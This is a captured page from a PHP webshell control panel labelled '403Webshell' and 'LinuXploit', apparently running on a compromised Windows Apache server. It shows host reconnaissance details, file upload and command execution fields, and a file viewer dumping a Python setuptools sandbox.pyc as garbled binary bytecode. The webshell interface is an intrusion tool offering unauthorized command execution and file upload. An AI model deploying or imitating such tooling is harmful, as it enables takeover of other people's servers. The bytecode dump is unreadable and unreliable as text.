403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.7/site-packages/setuptools/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.7/site-packages/setuptools/__pycache__/sandbox.cpython-37.opt-2.pyc
B

�a8�@sddlZddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlm
Z
ddlmZej�d�r�ddlmmmmZnejejZyeZWnek
r�dZYnXeZddddgZd0d	d
�Zejd1dd��Z ejd
d��Z!ejdd��Z"ejdd��Z#Gdd�de$�Z%Gdd�d�Z&ejdd��Z'dd�Z(ejdd��Z)ejdd��Z*dd d!d"d#hZ+d$d%�Z,d&d'�Z-d(d�Z.Gd)d�d�Z/e0ed*��r�ej1gZ2ngZ2Gd+d�de/�Z3e�4ej5d,d-�d.�6�D��Z7Gd/d�de
�Z8dS)2�N)�DistutilsError)�working_set�java�AbstractSandbox�DirectorySandbox�SandboxViolation�	run_setupc	CsJd}t||��}|��}WdQRX|dkr.|}t||d�}t|||�dS)N�rb�exec)�open�read�compiler
)�filename�globals�locals�mode�streamZscript�code�r�6/usr/lib/python3.7/site-packages/setuptools/sandbox.py�	_execfile$src
csDtjdd�}|dk	r$|tjdd�<z
|VWd|tjdd�<XdS)N)�sys�argv)�repl�savedrrr�	save_argv1s
rc
cs.tjdd�}z
|VWd|tjdd�<XdS)N)r�path)rrrr�	save_path<s
rccs2tj|dd�tj}|t_z
dVWd|t_XdS)NT)�exist_ok)�os�makedirs�tempfileZtempdir)Zreplacementrrrr�
override_tempEs
r"c	cs.t��}t�|�z
|VWdt�|�XdS)N)r�getcwd�chdir)�targetrrrr�pushdVs


r&c@seZdZedd��ZdS)�UnpickleableExceptionc	CsJyt�|�t�|�fStk
rDddlm}|�||t|���SXdS)Nr)r')�pickle�dumps�	Exception�setuptools.sandboxr'�dump�repr)�type�exc�clsrrrr,es
zUnpickleableException.dumpN)�__name__�
__module__�__qualname__�staticmethodr,rrrrr'`sr'c@s$eZdZdd�Zdd�Zdd�ZdS)�ExceptionSavercCs|S)Nr)�selfrrr�	__enter__zszExceptionSaver.__enter__cCs |sdSt�||�|_||_dS)NT)r'r,�_saved�_tb)r6r.r/�tbrrr�__exit__}s
zExceptionSaver.__exit__cCs2dt|�krdSttj|j�\}}|�|j��dS)Nr8)�vars�mapr(�loadsr8�with_tracebackr9)r6r.r/rrr�resume�szExceptionSaver.resumeN)r1r2r3r7r;r@rrrrr5tsr5c	#sVtj���t��}�VWdQRXtj����fdd�tjD�}t|�|��dS)Nc3s$|]}|�kr|�d�s|VqdS)z
encodings.N)�
startswith)�.0�mod_name)rrr�	<genexpr>�szsave_modules.<locals>.<genexpr>)r�modules�copyr5�update�_clear_modulesr@)�	saved_excZdel_modulesr)rr�save_modules�s


rJcCsxt|�D]}tj|=q
WdS)N)�listrrE)Zmodule_namesrCrrrrH�srHc	cs$t��}z
|VWdt�|�XdS)N)�
pkg_resources�__getstate__�__setstate__)rrrr�save_pkg_resources_state�s
rOccs�tj�|d�}t��xt��ft��Tt�t��<t|��(t	|��t
d�dVWdQRXWdQRXWdQRXWdQRXWdQRXWdQRXdS)NZtemp�
setuptools)rr�joinrOrJr�hide_setuptoolsrr"r&�
__import__)�	setup_dirZtemp_dirrrr�
setup_context�s

rUrPZ	distutilsrLZCython�_distutils_hackcCs|�dd�d}|tkS)N�.�r)�split�_MODULES_TO_HIDE)rCZbase_modulerrr�
_needs_hiding�sr[cCs6tj�dd�}|dk	r|��tttj�}t|�dS)NrV)rrE�getZremove_shim�filterr[rH)rVrErrrrR�s
rRcCs�tj�tj�|��}t|���yl|gt|�tjdd�<tj�d|�t	�
�t	j�dd��t
|��t|dd�}t||�WdQRXWn4tk
r�}z|jr�|jdr��Wdd}~XYnXWdQRXdS)NrcSs|��S)N)Zactivate)Zdistrrr�<lambda>��zrun_setup.<locals>.<lambda>�__main__)�__file__r1)rr�abspath�dirnamerUrKrr�insertr�__init__Z	callbacks�appendr�dictr�
SystemExit�args)Zsetup_scriptrirT�ns�vrrrr�s

c@s*eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	x$dD]Z
eee
�rBe	e
�e
�e
<qBWd#dd�Zerzede�Zede�Zx$dD]Z
eee
�r�ee
�e
�e
<q�Wdd�Zx$dD]Z
eee
�r�ee
�e
�e
<q�Wdd�Zx$dD]Z
eee
�r�ee
�e
�e
<q�Wdd�Zdd�Zdd �Zd!d"�ZdS)$rFcs�fdd�tt�D��_dS)Ncs$g|]}|�d�st�|�r|�qS)�_)rA�hasattr)rB�name)r6rr�
<listcomp>sz,AbstractSandbox.__init__.<locals>.<listcomp>)�dir�_os�_attrs)r6r)r6rres
zAbstractSandbox.__init__cCs&x |jD]}tt|t||��qWdS)N)rr�setattrr�getattr)r6�sourcernrrr�_copyszAbstractSandbox._copycCs(|�|�tr|jt_|jt_d|_dS)NT)rv�_file�builtins�file�_openr�_active)r6rrrr7s

zAbstractSandbox.__enter__cCs$d|_trtt_tt_|�t�dS)NF)r{rwrxryrzrrvrq)r6�exc_type�	exc_value�	tracebackrrrr;!s
zAbstractSandbox.__exit__c	Cs|�|�SQRXdS)Nr)r6�funcrrr�run(szAbstractSandbox.runcstt�����fdd�}|S)Ncs2|jr |j�||f|�|�\}}�||f|�|�S)N)r{�_remap_pair)r6�src�dstri�kw)rn�originalrr�wrap0sz3AbstractSandbox._mk_dual_path_wrapper.<locals>.wrap)rtrq)rnr�r)rnr�r�_mk_dual_path_wrapper-s
z%AbstractSandbox._mk_dual_path_wrapper)�rename�link�symlinkNcs �ptt�����fdd�}|S)Ncs*|jr|j�|f|�|�}�|f|�|�S)N)r{�_remap_input)r6rrir�)rnr�rrr�>sz5AbstractSandbox._mk_single_path_wrapper.<locals>.wrap)rtrq)rnr�r�r)rnr�r�_mk_single_path_wrapper;sz'AbstractSandbox._mk_single_path_wrapperryr)�stat�listdirr$r�chmod�chown�mkdir�remove�unlink�rmdir�utime�lchown�chroot�lstatZ	startfile�mkfifo�mknod�pathconf�accesscstt�����fdd�}|S)NcsB|jr2|j�|f|�|�}|���|f|�|��S�|f|�|�S)N)r{r��
_remap_output)r6rrir�)rnr�rrr�csz4AbstractSandbox._mk_single_with_return.<locals>.wrap)rtrq)rnr�r)rnr�r�_mk_single_with_return`s
z&AbstractSandbox._mk_single_with_return)�readlink�tempnamcstt�����fdd�}|S)Ncs �||�}|jr|��|�S|S)N)r{r�)r6rir�Zretval)rnr�rrr�rs
z'AbstractSandbox._mk_query.<locals>.wrap)rtrq)rnr�r)rnr�r�	_mk_queryos
zAbstractSandbox._mk_query)r#�tmpnamcCs|S)Nr)r6rrrr�_validate_path~szAbstractSandbox._validate_pathcOs
|�|�S)N)r�)r6�	operationrrir�rrrr��szAbstractSandbox._remap_inputcCs
|�|�S)N)r�)r6r�rrrrr��szAbstractSandbox._remap_outputcOs0|j|d|f|�|�|j|d|f|�|�fS)Nz-fromz-to)r�)r6r�r�r�rir�rrrr��szAbstractSandbox._remap_pair)N)r1r2r3r{rervr7r;r�r�rnrmrqrr�rwrzr�r�r�r�r�r�rrrrr
s:












�devnullc@s�eZdZe�ddddddddd	d
ddd
g
�ZgZefdd�Zdd�Z	e
rRd%dd�Z
d&dd�Zdd�Zdd�Z
dd�Zdd�Zdd �Zd'd"d#�Zd$S)(rrr�r�r�r�r�r�r�r�r�r�r�r�cCsFtj�tj�|��|_tj�|jd�|_dd�|D�|_t�	|�dS)N�cSs g|]}tj�tj�|���qSr)rr�normcase�realpath)rBrrrrro�sz-DirectorySandbox.__init__.<locals>.<listcomp>)
rrr�r��_sandboxrQ�_prefix�_exceptionsrre)r6Zsandbox�
exceptionsrrrre�szDirectorySandbox.__init__cOsddlm}||||��dS)Nr)r)r+r)r6r�rir�rrrr�
_violation�szDirectorySandbox._violation�rcOs:|dkr(|�|�s(|jd||f|�|�t||f|�|�S)N)r��rtr	�rU�Ury)�_okr�rw)r6rrrir�rrrrw�szDirectorySandbox._filecOs:|dkr(|�|�s(|jd||f|�|�t||f|�|�S)N)r�r�r	r�r�r)r�r�rz)r6rrrir�rrrrz�szDirectorySandbox._opencCs|�d�dS)Nr�)r�)r6rrrr��szDirectorySandbox.tmpnamcCsN|j}z:d|_tj�tj�|��}|�|�p@||jkp@|�|j�S||_XdS)NF)	r{rrr�r��	_exemptedr�rAr�)r6rZactiver�rrrr��s

zDirectorySandbox._okcs<�fdd�|jD�}�fdd�|jD�}t�||�}t|�S)Nc3s|]}��|�VqdS)N)rA)rBZ	exception)�filepathrrrD�sz-DirectorySandbox._exempted.<locals>.<genexpr>c3s|]}t�|��VqdS)N)�re�match)rB�pattern)r�rrrD�s)r��_exception_patterns�	itertools�chain�any)r6r�Z
start_matchesZpattern_matchesZ
candidatesr)r�rr��szDirectorySandbox._exemptedcOs4||jkr0|�|�s0|j|tj�|�f|�|�|S)N)�	write_opsr�r�rrr�)r6r�rrir�rrrr��szDirectorySandbox._remap_inputcOs2|�|�r|�|�s*|j|||f|�|�||fS)N)r�r�)r6r�r�r�rir�rrrr��szDirectorySandbox._remap_pair�cOs@|t@r*|�|�s*|jd|||f|�|�tj|||f|�|�S)Nzos.open)�WRITE_FLAGSr�r�rqr)r6ry�flagsrrir�rrrr�szDirectorySandbox.openN)r�)r�)r�)r1r2r3rg�fromkeysr�r��_EXCEPTIONSrer�rwrzr�r�r�r�r�rrrrrr�s4



cCsg|]}tt|d��qS)r)rtrq)rB�arrrro�sroz4O_WRONLY O_RDWR O_APPEND O_CREAT O_TRUNC O_TEMPORARYc@s"eZdZe�d���Zdd�ZdS)ra
        SandboxViolation: {cmd}{args!r} {kwargs}

        The package setup script has attempted to modify files on your system
        that are not within the EasyInstall build area, and has been aborted.

        This package cannot be safely installed by EasyInstall, and may not
        support alternate installation locations even if you run its setup
        script by hand.  Please inform the package's author and the EasyInstall
        maintainers to find out if a fix or workaround is available.
        cCs|j\}}}|jjft��S)N)ri�tmpl�formatr)r6�cmdri�kwargsrrr�__str__szSandboxViolation.__str__N)r1r2r3�textwrap�dedent�lstripr�r�rrrrr�s
)N)N)9rrr!�operator�	functoolsr�r��
contextlibr(r�rxrLZdistutils.errorsrr�platformrAZ$org.python.modules.posix.PosixModuleZpythonrE�posixZPosixModulerqrnryrw�	NameErrorrrz�__all__r�contextmanagerrrr"r&r*r'r5rJrHrOrUrZr[rRrrrmr�r�r�reduce�or_rYr�rrrrr�<module>sp 



	
		
^

Youez - 2016 - github.com/yon3zu
LinuXploit